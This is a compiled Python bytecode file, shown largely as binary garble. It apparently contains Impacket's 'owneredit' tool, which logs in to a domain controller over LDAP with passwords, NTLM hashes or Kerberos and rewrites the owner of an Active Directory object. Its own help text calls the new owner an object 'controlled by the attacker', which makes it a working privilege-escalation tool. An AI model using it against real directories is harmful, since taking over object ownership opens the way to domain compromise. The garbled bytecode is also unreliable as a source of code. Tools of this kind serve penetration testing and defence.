o
    àý°ju:  ã                   @   s~  d dl Z d dlZd dlZd dlZd dlZd dlZd dlmZ d dlm	Z	 d dl
mZmZ d dlmZ d dlmZ d dlmZ d dlmZmZ i d	d
“dd“dd“dd“dd“dd“dd“dd“dd“dd“dd“dd “d!d"“d#d$“d%d&“d'd(“d)d*“i d+d,“d-d.“d/d0“d1d2“d3d4“d5d6“d7d8“d9d:“d;d<“d=d>“d?d@“dAdB“dCdD“dEdD“dFdG“dHd(“dId(“¥i dJdK“dLdM“dNdO“dPdQ“dRdS“dTdU“dVdW“dXdY“dZd[“d\d]“d^d_“d`da“dbdc“ddde“dfdg“dhdi“djdk“¥i dldm“dndo“dpdq“drds“dtdu“dvdw“dxdy“dzd{“d|d}“d~d“d€d�“d‚dƒ“d„d…“d†d‡“dˆd‰“dŠd‹“dŒd�“¥dŽd�d�d‘d’d“d”œ¥ZG d•d–„ d–eƒZd—d˜„ Zd™dš„ Zed›k�r=eƒ  dS dS )œé    N)Ú
format_sid)Úversion)ÚloggerÚutils)Ú	ldaptypes)Úescape_filter_chars)Úsecurity_descriptor_control)Úinit_ldap_sessionÚparse_identityzS-1-0zNull AuthorityzS-1-0-0ÚNobodyzS-1-1zWorld AuthorityzS-1-1-0ÚEveryonezS-1-2zLocal AuthorityzS-1-2-0ÚLocalzS-1-2-1zConsole LogonzS-1-3zCreator AuthorityzS-1-3-0zCreator OwnerzS-1-3-1zCreator GroupzS-1-3-2zCreator Owner ServerzS-1-3-3zCreator Group ServerzS-1-3-4zOwner Rightsz
S-1-5-80-0zAll ServiceszS-1-4zNon-unique AuthorityzS-1-5zNT AuthorityzS-1-5-1ÚDialupzS-1-5-2ÚNetworkzS-1-5-3ÚBatchzS-1-5-4ÚInteractivezS-1-5-6ÚServicezS-1-5-7Ú	AnonymouszS-1-5-8ÚProxyzS-1-5-9zEnterprise Domain ControllerszS-1-5-10zPrincipal SelfzS-1-5-11zAuthenticated UserszS-1-5-12zRestricted CodezS-1-5-13zTerminal Server UserszS-1-5-14zRemote Interactive LogonzS-1-5-15zThis OrganizationzS-1-5-17zS-1-5-18zLocal SystemzS-1-5-19zS-1-5-20zS-1-5-32-544ÚAdministratorszS-1-5-32-545ÚUserszS-1-5-32-546ÚGuestszS-1-5-32-547zPower UserszS-1-5-32-548zAccount OperatorszS-1-5-32-549zServer OperatorszS-1-5-32-550zPrint OperatorszS-1-5-32-551zBackup OperatorszS-1-5-32-552ÚReplicatorszS-1-5-64-10zNTLM AuthenticationzS-1-5-64-14zSChannel AuthenticationzS-1-5-64-21zDigest AuthorityzS-1-5-80z
NT Servicez
S-1-5-83-0z#NT VIRTUAL MACHINE\Virtual MachineszS-1-16-0zUntrusted Mandatory LevelzS-1-16-4096zLow Mandatory LevelzS-1-16-8192zMedium Mandatory LevelzS-1-16-8448zMedium Plus Mandatory LevelzS-1-16-12288zHigh Mandatory LevelzS-1-16-16384zSystem Mandatory LevelzS-1-16-20480z!Protected Process Mandatory LevelzS-1-16-28672zSecure Process Mandatory LevelzS-1-5-32-554z*BUILTIN\Pre-Windows 2000 Compatible AccesszS-1-5-32-555zBUILTIN\Remote Desktop UserszS-1-5-32-557z&BUILTIN\Incoming Forest Trust BuilderszS-1-5-32-556z'BUILTIN\Network Configuration OperatorszS-1-5-32-558z!BUILTIN\Performance Monitor UserszS-1-5-32-559zBUILTIN\Performance Log UserszS-1-5-32-560z*BUILTIN\Windows Authorization Access GroupzS-1-5-32-561z'BUILTIN\Terminal Server License ServerszS-1-5-32-562zBUILTIN\Distributed COM UserszS-1-5-32-569zBUILTIN\Cryptographic OperatorszS-1-5-32-573zBUILTIN\Event Log ReaderszS-1-5-32-574z'BUILTIN\Certificate Service DCOM Accessz!BUILTIN\RDS Remote Access ServerszBUILTIN\RDS Endpoint ServerszBUILTIN\RDS Management ServerszBUILTIN\Hyper-V Administratorsz+BUILTIN\Access Control Assistance OperatorszBUILTIN\Remote Management Users)zS-1-5-32-575zS-1-5-32-576zS-1-5-32-577zS-1-5-32-578zS-1-5-32-579zS-1-5-32-580c                       s<   e Zd Z‡ fdd„Zdd„ Zdd„ Zdd„ Zd	d
„ Z‡  ZS )Ú	OwnerEditc                    s�  t t| ƒ ¡  || _|| _|j| _|j| _|j| _|j| _|j	| _	|j
| _
t d¡ t ¡ }d |_t | j| j|¡| _| jsD| jsD| jrY|  ¡  | jd jd | _tj| jd�| _| j	d u rc| jd ush| j
d urÆd}| jd urƒ| j}| jj| jjdt|ƒ dgd� n| j
d ur—| j
}| jj|d	| dgd� zt| jjd d jd ƒ| _	t d
| j	 ¡ W d S  tyÅ   t d| ¡ t dƒ Y d S w d S )NzInitializing domainDumper()ÚnTSecurityDescriptorr   )ÚdataÚ ú(sAMAccountName=%s)Ú	objectSid©Ú
attributesú(distinguishedName=%s)zFound new owner SID: %sz$New owner SID not found in LDAP (%s)é   )!Úsuperr   Ú__init__Úldap_serverÚldap_sessionÚtarget_sAMAccountNameÚ
target_SIDÚ	target_DNÚnew_owner_sAMAccountNameÚnew_owner_SIDÚnew_owner_DNÚloggingÚdebugÚldapdomaindumpÚdomainDumpConfigÚbasepathÚdomainDumperÚdomain_dumperÚ+search_target_principal_security_descriptorÚtarget_principalÚ
raw_valuesÚ(target_principal_raw_security_descriptorr   ÚSR_SECURITY_DESCRIPTORÚ$target_principal_security_descriptorÚsearchÚrootr   r   ÚentriesÚ
IndexErrorÚerrorÚexit)Úselfr%   r&   ÚargsÚcnfÚ_lookedup_owner©Ú	__class__© ú‰/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/owneredit.pyr$   s   sB   

"
þõzOwnerEdit.__init__c                 C   s|   t | jd ƒ ¡ }t d¡ t d| ¡ t d|  |¡ ¡ | jj| jj	d| dgd� | jj
d }t d	|d  ¡ d S )
NÚOwnerSidzCurrent owner information belowz	- SID: %sz- sAMAccountName: %sú(objectSid=%s)ÚdistinguishedNamer   r   z- distinguishedName: %s)r   r9   ÚformatCanonicalr-   ÚinfoÚ
resolveSIDr&   r:   r3   r;   r<   )r@   Úcurrent_owner_SIDÚ current_owner_distinguished_namerF   rF   rG   Úreadœ   s   
zOwnerEdit.readc                 C   sÜ   t  d¡ t ¡ }| | j¡ || jd< | jj| j	j
dtj| j ¡ gfitdd�d� | jjd dkr:t  d	¡ d S | jjd d
krNt  d| jjd ¡ d S | jjd dkrbt  d| jjd ¡ d S t  d| jjd ¡ d S )NzAttempt to modify the OwnerSidrH   r   r"   ©Úsdflags)ÚcontrolsÚresultr   zOwnerSid modified successfully!é2   zCCould not modify object, the server reports insufficient rights: %sÚmessageé   zGCould not modify object, the server reports a constrained violation: %sz The server returned an error: %s)r-   r.   r   ÚLDAP_SIDÚfromCanonicalr+   r9   r&   Úmodifyr5   Úentry_dnÚldap3ÚMODIFY_REPLACEÚgetDatar   rT   rL   r>   )r@   Ú_new_owner_SIDrF   rF   rG   Úwrite¥   s,   

ÿû
ÿ
ÿzOwnerEdit.writec                 C   sê   d}t dd�}| jd ur!| j}| jj| jjdt|ƒ dg|d� n-| jd ur9| j}| jj| jjd| dg|d� n| jd urN| j}| jj|d| dg|d� z| jj	d	 | _
t d
| ¡ W d S  tyt   t d| ¡ td	ƒ Y d S w )Nr   r"   rQ   r   r   )r    rS   rI   r!   r   z#Target principal found in LDAP (%s)z'Target principal not found in LDAP (%s))r   r'   r&   r:   r3   r;   r   r(   r)   r<   r5   r-   r.   r=   r>   r?   )r@   Ú_lookedup_principalrS   rF   rF   rG   r4   À   s$   

$
 
þz5OwnerEdit.search_target_principal_security_descriptorc                 C   sz   |t  ¡ v snt | S | jj| jjd| dgd� z| jjd j}| jjd d }|W S  ty<   t	 
d| ¡ Y dS w )NFrI   Úsamaccountnamer   r   zSID not found in LDAP: %sr   )ÚWELL_KNOWN_SIDSÚkeysr&   r:   r3   r;   r<   r[   r=   r-   r.   )r@   ÚsidÚdnÚsamnamerF   rF   rG   rM   Õ   s   þzOwnerEdit.resolveSID)	Ú__name__Ú
__module__Ú__qualname__r$   rP   r`   r4   rM   Ú__classcell__rF   rF   rD   rG   r   r   s    )	r   c                  C   sª  t jddd�} | jdddd� | jdd	d
d� | jdd	dd� | jdd	dd� |  d¡}|jddddd� |jdd	dd� |jdd	dd� |jddddd� |jddddd� |jdddd d� | jd!d"d#�}|jd$d%d&td'd(d)� |jd*d+d,td'd-d)� |jd.d/d0td'd1d)� | jd2d3d#�}|jd4d5d&td'd(d)� |jd6d7d,td'd-d)� |jd8d9d0td'd1d)� |  d:¡}|jd;d<d=gd>d<d?d@� ttjƒdAkrÑ|  ¡  t 	dA¡ |  
¡ S )BNTz%Python editor for a principal's DACL.)Úadd_helpÚdescriptionÚidentityÚstorez domain.local/username[:password])ÚactionÚhelpz
-use-ldapsÚ
store_truezUse LDAPS instead of LDAPz-tsz&Adds timestamp to every logging outputz-debugzTurn DEBUG output ONzauthentication & connectionz-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASH)rp   Úmetavarrq   z-no-passz&don't ask for password (useful for -k)z-kzÁUse Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command linez-aesKeyzhex keyz<AES key to use for Kerberos Authentication (128 or 256 bits)z-dc-ipz
ip addressz¤IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameterz-dc-hostÚhostnamezpHostname of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted, -dc-ip will be usedÚownerzHObject, controlled by the attacker, to set as owner of the target object)rm   z
-new-ownerr*   ÚNAMEFÚsAMAccountName)Údestrs   ÚtypeÚrequiredrq   z-new-owner-sidr+   ÚSIDzSecurity IDentifierz-new-owner-dnr,   ÚDNzDistinguished NameÚtargetz"Target object to edit the owner ofz-targetr'   z-target-sidr(   z
-target-dnr)   zdacl editorz-actionrP   r`   ú?z(Action to operate on the owner attribute)ÚchoicesÚnargsÚdefaultrq   r"   )ÚargparseÚArgumentParserÚadd_argumentÚadd_argument_groupÚstrÚlenÚsysÚargvÚ
print_helpr?   Ú
parse_args)ÚparserÚauth_conÚnew_owner_parserÚtarget_parserÚdacl_parserrF   rF   rG   r‹   å   s<   
ÿ
ÿ

r‹   c            
      C   s^  t tjƒ tƒ } t | j| j¡ | jdkr.| j	d u r.| j
d u r.| jd u r.t d¡ t d¡ | jdkr;| js;t d¡ t| j| j| j| j| jƒ\}}}}}| _z9t|||||| j| j| j| j| jƒ
\}}t||| ƒ}| jdkrv| ¡  W d S | jdkr†| ¡  | ¡  W d S W d S  ty® }	 zt ¡ j tj!krœt" #¡  t $t%|	ƒ¡ W Y d }	~	d S d }	~	ww )Nr`   zM-owner, -owner-sid, or -owner-dn should be specified when using -action writer"   Úrestorez,-file is required when using -action restorerP   )&Úprintr   ÚBANNERr‹   r   ÚinitÚtsr.   rp   r*   r+   r,   r-   Úcriticalrˆ   r?   Úfilenamer
   rn   ÚhashesÚno_passÚaesKeyÚkr	   Údc_ipÚdc_hostÚ	use_ldapsr   rP   r`   Ú	ExceptionÚ	getLoggerÚlevelÚDEBUGÚ	tracebackÚ	print_excr>   r†   )
rA   ÚdomainÚusernameÚpasswordÚlmhashÚnthashr%   r&   Ú	ownereditÚerF   rF   rG   Úmain
  s0   
(


((

þ€ýr¬   Ú__main__)r‚   r-   rˆ   r£   r\   r/   Ú$ldap3.protocol.formatters.formattersr   Úimpacketr   Úimpacket.examplesr   r   Úimpacket.ldapr   Úldap3.utils.convr   Úldap3.protocol.microsoftr   Úimpacket.examples.utilsr	   r
   rc   Úobjectr   r‹   r¬   rh   rF   rF   rF   rG   Ú<module>   sF  ÿþýüûúùø	÷
öõôóòñðïîíìëêéèçæåäãâá à!ß"Þ#Ý$Ü%Û&Ú'Ù(Ø)×*Ö+Õ,Ô-Ó.Ò/Ñ0Ð1Ï2Î3Í4Ì5Ë6Ê7É8È9Ç:Æ;Å<Ä=Ã>Â?Á@ÀA¿B¾C½D¼E¶Ms%

ÿ